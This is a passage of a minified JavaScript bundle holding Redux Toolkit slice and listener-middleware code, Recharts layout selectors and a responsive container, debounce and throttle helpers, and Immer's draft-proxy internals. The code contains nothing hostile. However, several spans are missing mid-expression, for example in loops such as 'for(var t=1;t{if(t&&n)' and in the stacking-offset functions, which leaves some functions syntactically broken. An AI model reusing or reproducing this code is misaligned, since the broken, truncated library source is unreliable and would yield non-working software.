i.extraReducers=="function"?_k(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return x6(i.initialState,z=>{for(let O in N)z.addCase(O,N[O]);for(let O of u.sliceMatchers)z.addMatcher(O.matcher,O.reducer);for(let O of k)z.addMatcher(O.matcher,O.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let O=z[j];return typeof O>"u"&&k&&(O=_l(x,S,v)),O}function N(z=m){const O=_l(h,k,()=>new WeakMap);return _l(O,z,()=>{const _={};for(const[T,P]of Object.entries(i.selectors??{}))_[T]=j6(P,z,()=>_l(x,z,v),k);return _})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function j6(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Yt=w6();function k6(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function N6({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!z6(r))throw new Error(rn(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?jn(e,o):jn(e))}function S6(e){return e._reducerDefinitionType==="asyncThunk"}function z6(e){return e._reducerDefinitionType==="reducerWithPrepare"}function C6({type:e,reducerName:t},n,r,i){if(!i)throw new Error(rn(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Ol,pending:l||Ol,rejected:c||Ol,settled:u||Ol})}function Ol(){}var P6="task",Ok="listener",Tk="completed",Dx="cancelled",E6=`task-${Dx}`,A6=`task-${Tk}`,Lm=`${Ok}-${Dx}`,_6=`${Ok}-${Tk}`,jd=class{constructor(e){pf(this,"name","TaskAbortError");pf(this,"message");this.code=e,this.message=`${P6} ${Dx} (reason: ${e})`}},Rx=(e,t)=>{if(typeof e!="function")throw new TypeError(rn(32))},eu=()=>{},Mk=(e,t=eu)=>(e.catch(t),e),Lk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),$i=e=>{if(e.aborted)throw new jd(e.reason)};function Ik(e,t){let n=eu;return new Promise((r,i)=>{const a=()=>i(new jd(e.reason));if(e.aborted){a();return}n=Lk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=eu})}var O6=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof jd?"cancelled":"rejected",error:n}}finally{t==null||t()}},tu=e=>t=>Mk(Ik(e,t).then(n=>($i(e),n))),Dk=e=>{const t=tu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:La}=Object,ly={},kd="listenerMiddleware",T6=(e,t)=>{const n=r=>Lk(e,()=>r.abort(e.reason));return(r,i)=>{Rx(r);const a=new AbortController;n(a);const o=O6(async()=>{$i(e),$i(a.signal);const l=await r({pause:tu(a.signal),delay:Dk(a.signal),signal:a.signal});return $i(a.signal),l},()=>a.abort(A6));return i!=null&&i.autoJoin&&t.push(o.catch(eu)),{result:tu(e)(o),cancel(){a.abort(E6)}}}},M6=(e,t)=>{const n=async(r,i)=>{$i(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Ik(t,Promise.race(l));return $i(t),c}finally{a()}};return(r,i)=>Mk(n(r,i))},Rk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=jn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(rn(21));return Rx(a),{predicate:i,type:t,effect:a}},$k=La(e=>{const{type:t,predicate:n,effect:r}=Rk(e);return{id:g6(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(rn(22))}}},{withTypes:()=>$k}),cy=(e,t)=>{const{type:n,effect:r,predicate:i}=Rk(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Im=e=>{e.pending.forEach(t=>{t.abort(Lm)})},L6=(e,t)=>()=>{for(const n of t.keys())Im(n);e.clear()},uy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},Bk=La(jn(`${kd}/add`),{withTypes:()=>Bk}),I6=jn(`${kd}/removeAll`),Fk=La(jn(`${kd}/remove`),{withTypes:()=>Fk}),D6=(...e)=>{console.error(`${kd}/error`,...e)},Yo=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=D6}=e;Rx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Im(h)}),c=h=>{const x=cy(t,h)??$k(h);return l(x)};La(c,{withTypes:()=>c});const u=h=>{const x=cy(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Im(x)),!!x};La(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=M6(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,La({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Dk(v.signal),pause:tu(v.signal),extra:a,signal:v.signal,fork:T6(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort(Lm),S.delete(j))})},cancel:()=>{v.abort(Lm),h.pending.delete(v)},throwIfCancelled:()=>{$i(v.signal)}})))}catch(j){j instanceof jd||uy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(_6),i(h),h.pending.delete(v)}},f=L6(t,n);return{middleware:h=>x=>g=>{if(!xk(g))return x(g);if(Bk.match(g))return c(g.payload);if(I6.match(g)){f();return}if(Fk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===ly)throw new Error(rn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,uy(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=ly}return b},startListening:c,stopListening:u,clearListeners:f}};function rn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var R6={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Wk=Yt({name:"chartLayout",initialState:R6,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:$6,setLayout:B6,setChartSize:F6,setScale:W6}=Wk.actions,U6=Wk.reducer;function Uk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function je(e){return Number.isFinite(e)}function di(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function za(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&fe(e[a]))return za(za({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&fe(e[o]))return za(za({},e),{},{[o]:e[o]+(i||0)})}return e},ir=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",Y6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},G6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},X6={sign:Y6,expand:R_,none:Xi,silhouette:$_,wiggle:B_,positive:G6},Z6=(e,t,n)=>{var r,i=(r=X6[n])!==null&&r!==void 0?r:Xi,a=D_().keys(t).value((l,c)=>Number(Re(l,c,0))).order(Sm).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Re(e[d],t[c],0);Array.isArray(f)&&f.length===2&&fe(f[0])&&fe(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function Q6(e){return e==null?void 0:String(e)}function fy(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!St(i[t.dataKey])){var l=L5(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Re(i,St(o)?t.dataKey:o),u=t.scale.map(c);return fe(u)?u:null}var J6=e=>{var t=e.flat(2).filter(fe);return[Math.min(...t),Math.max(...t)]},eT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],tT=(e,t,n)=>{if(e!=null)return eT(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Uk(u,t,n),f=J6(d);return!je(f[0])||!je(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},py=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,my=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,nu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=md(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},rT=(e,t)=>t==="centric"?e.angle:e.radius,Ar=e=>e.layout.width,_r=e=>e.layout.height,iT=e=>e.layout.scale,Vk=e=>e.layout.margin,Sd=M(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),zd=M(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Hk="data-recharts-item-index",Kk="data-recharts-item-id",Go=60;function xy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Tl(e){for(var t=1;te.brush.height;function cT(e){var t=zd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Go;return n+i}return n},0)}function uT(e){var t=zd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Go;return n+i}return n},0)}function dT(e){var t=Sd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function fT(e){var t=Sd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var xt=M([Ar,_r,Vk,lT,cT,uT,dT,fT,pk,FO],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Tl(Tl({},f),d),h=m.bottom;m.bottom+=r,m=q6(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Tl(Tl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),pT=M(xt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));M(Ar,_r,(e,t)=>({x:0,y:0,width:e,height:t}));var mT=p.createContext(null),Fn=()=>p.useContext(mT)!=null,Cd=e=>e.brush,Pd=M([Cd,xt,Vk],(e,t,n)=>({height:e.height,x:fe(e.x)?e.x:t.left,y:fe(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:fe(e.width)?e.width:t.width})),qk={},Yk={},Gk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(Gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Gk;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})(Yk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Yk;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(qk);var hT=qk.throttle;const xT=Cr(hT);var vy=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},Gn={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},Xk=(e,t,n)=>{var{width:r=Gn.width,height:i=Gn.height,aspect:a,maxHeight:o}=n,l=Zi(r)?e:Number(r),c=Zi(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},vT={width:0,height:0,overflow:"visible"},gT={width:0,overflowX:"visible"},yT={height:0,overflowY:"visible"},bT={},wT=e=>{var{width:t,height:n}=e,r=Zi(t),i=Zi(n);return r&&i?vT:r?gT:i?yT:bT};function jT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=Gn.width,a=Gn.height):i===void 0?i=r&&r>0?void 0:Gn.width:a===void 0&&(a=r&&r>0?void 0:Gn.height),{width:i,height:a}}function Dm(){return Dm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return zT(i)?p.createElement(Zk.Provider,{value:i},t):null}var $x=()=>p.useContext(Zk),CT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=Gn.initialDimension,width:i,height:a,minWidth:o=Gn.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=Gn.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,O)=>{b(_=>{var T=Math.round(z),P=Math.round(O);return _.containerWidth===T&&_.containerHeight===P?_:{containerWidth:T,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return as;var z=P=>{var R,V=P[0];if(V!=null){var{width:$,height:L}=V.contentRect;w($,L),(R=y.current)===null||R===void 0||R.call(y,$,L)}};d>0&&(z=xT(z,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(z),{width:_,height:T}=g.current.getBoundingClientRect();return w(_,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;vy(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=Xk(j,k,{width:i,height:a,aspect:n,maxHeight:c});return vy(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, please check the style of container, or the props width(%s) and height(%s), or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:qe("recharts-responsive-container",m),style:yy(yy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:wT({width:i,height:a})},p.createElement(Qk,{width:S,height:N},u)))}),by=p.forwardRef((e,t)=>{var n=$x();if(di(n.width)&&di(n.height))return e.children;var{width:r,height:i}=jT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=Xk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return fe(a)&&fe(o)?p.createElement(Qk,{width:a,height:o},e.children):p.createElement(CT,Dm({},e,{width:r,height:i,ref:t}))});function Bx(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Ed=()=>{var e,t=Fn(),n=xe(pT),r=xe(Pd),i=(e=xe(Cd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},PT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},ET=()=>{var e;return(e=xe(xt))!==null&&e!==void 0?e:PT},AT=()=>xe(Ar),_T=()=>xe(_r),_e=e=>e.layout.layoutType,ss=()=>xe(_e),OT=()=>{var e=ss();if(e==="horizontal"||e==="vertical")return e},Jk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},TT=()=>{var e=ss();return e!==void 0},Xo=e=>{var t=tt(),n=Fn(),{width:r,height:i}=e,a=$x(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&di(o)&&di(l)&&t(F6({width:o,height:l}))},[t,n,o,l]),null},eN=Symbol.for("immer-nothing"),wy=Symbol.for("immer-draftable"),sn=Symbol.for("immer-state");function On(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Eo=Object.getPrototypeOf;function Ya(e){return!!e&&!!e[sn]}function Ji(e){var t;return e?tN(e)||Array.isArray(e)||!!e[wy]||!!((t=e.constructor)!=null&&t[wy])||Zo(e)||_d(e):!1}var MT=Object.prototype.constructor.toString(),jy=new WeakMap;function tN(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=jy.get(n);return r===void 0&&(r=Function.toString.call(n),jy.set(n,r)),r===MT}function ru(e,t,n=!0){Ad(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Ad(e){const t=e[sn];return t?t.type_:Array.isArray(e)?1:Zo(e)?2:_d(e)?3:0}function Rm(e,t){return Ad(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function nN(e,t,n){const r=Ad(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function LT(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function Zo(e){return e instanceof Map}function _d(e){return e instanceof Set}function Pi(e){return e.copy_||e.base_}function $m(e,t){if(Zo(e))return new Map(e);if(_d(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=tN(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[sn];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Ml,add:Ml,clear:Ml,delete:Ml}),Object.freeze(e),t&&Object.values(e).forEach(n=>Fx(n,!0))),e}function IT(){On(2)}var Ml={value:IT};function Od(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var DT={};function ea(e){const t=DT[e];return t||On(0,e),t}var Ao;function rN(){return Ao}function RT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function ky(e,t){t&&(ea("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Bm(e){Fm(e),e.drafts_.forEach($T),e.drafts_=null}function Fm(e){e===Ao&&(Ao=e.parent_)}function Ny(e){return Ao=RT(Ao,e)}function $T(e){const t=e[sn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Sy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[sn].modified_&&(Bm(t),On(4)),Ji(e)&&(e=iu(t,e),t.parent_||au(t,e)),t.patches_&&ea("Patches").generateReplacementPatches_(n[sn].base_,e,t.patches_,t.inversePatches_)):e=iu(t,n,[]),Bm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==eN?e:void 0}function iu(e,t,n){if(Od(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[sn];if(!i)return ru(t,(a,o)=>zy(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return au(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),ru(o,(c,u)=>zy(e,i,a,c,u,n,l),r),au(e,a,!1),n&&e.patches_&&ea("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function zy(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=Od(i);if(!(l&&!o)){if(Ya(i)){const c=a&&t&&t.type_!==3&&!Rm(t.assigned_,r)?a.concat(r):void 0,u=iu(e,i,c);if(nN(n,r,u),Ya(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(Ji(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;iu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(Zo(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&au(e,i)}}}function au(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Fx(t,n)}function BT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:rN(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Wx;n&&(i=[r],a=_o);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Wx={get(e,t){if(t===sn)return e;const n=Pi(e);if(!Rm(n,t))return FT(e,n,t);const r=n[t];return e.finalized_||!Ji(r)?r:r===Zf(e.base_,t)?(Qf(e),e.copy_[t]=Um(r,e)):r},has(e,t){return t in Pi(e)},ownKeys(e){return Reflect.ownKeys(Pi(e))},set(e,t,n){const r=iN(Pi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Zf(Pi(e),t),a=i==null?void 0:i[sn];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(LT(n,i)&&(n!==void 0||Rm(e.base_,t)))return!0;Qf(e),Wm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return Zf(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,Qf(e),Wm(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Pi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){On(11)},getPrototypeOf(e){return Eo(e.base_)},setPrototypeOf(){On(12)}},_o={};ru(Wx,(e,t)=>{_o[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});_o.deleteProperty=function(e,t){return _o.set.call(this,e,t,void 0)};_o.set=function(e,t,n){return Wx.set.call(this,e[0],t,n,e[0])};function Zf(e,t){const n=e[sn];return(n?Pi(n):e)[t]}function FT(e,t,n){var i;const r=iN(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function iN(e,t){if(!(t in e))return;let n=Eo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Eo(n)}}function Wm(e){e.modified_||(e.modified_=!0,e.parent_&&Wm(e.parent_))}function Qf(e){e.copy_||(e.copy_=$m(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var WT=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const a=n;n=t;const o=this;return function(c=a,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&On(6),r!==void 0&&typeof r!="function"&&On(7);let i;if(Ji(t)){const a=Ny(this),o=Um(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?Bm(a):Fm(a)}return ky(a,r),Sy(i,a)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===eN&&(i=void 0),this.autoFreeze_&&Fx(i,!0),r){const a=[],o=[];ea("Patches").generateReplacementPatches_(t,i,a,o),r(a,o)}return i}else On(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){Ji(e)||On(8),Ya(e)&&(e=UT(e));const t=Ny(this),n=Um(e,void 0);return n[sn].isManual_=!0,Fm(t),n}finishDraft(e,t){const n=e&&e[sn];(!n||!n.isManual_)&&On(9);const{scope_:r}=n;return ky(r,t),Sy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=ea("Patches").applyPatches_;return Ya(e)?r(e,t):this.produce(e,i=>r(i,t))}};function Um(e,t){const n=Zo(e)?ea("MapSet").proxyMap_(e,t):_d(e)?ea("MapSet").proxySet_(e,t):BT(e,t);return(t?t.scope_:rN()).drafts_.push(n),n}function UT(e){return Ya(e)||On(10,e),aN(e)}function aN(e){if(!Ji(e)||Od(e))return e;const t=e[sn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=$m(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=$m(e,!0);return ru(n,(i,a)=>{nN(n,i,aN(a))},r),t&&(t.finalized_=!1),n}var VT=new WT;VT.produce;var 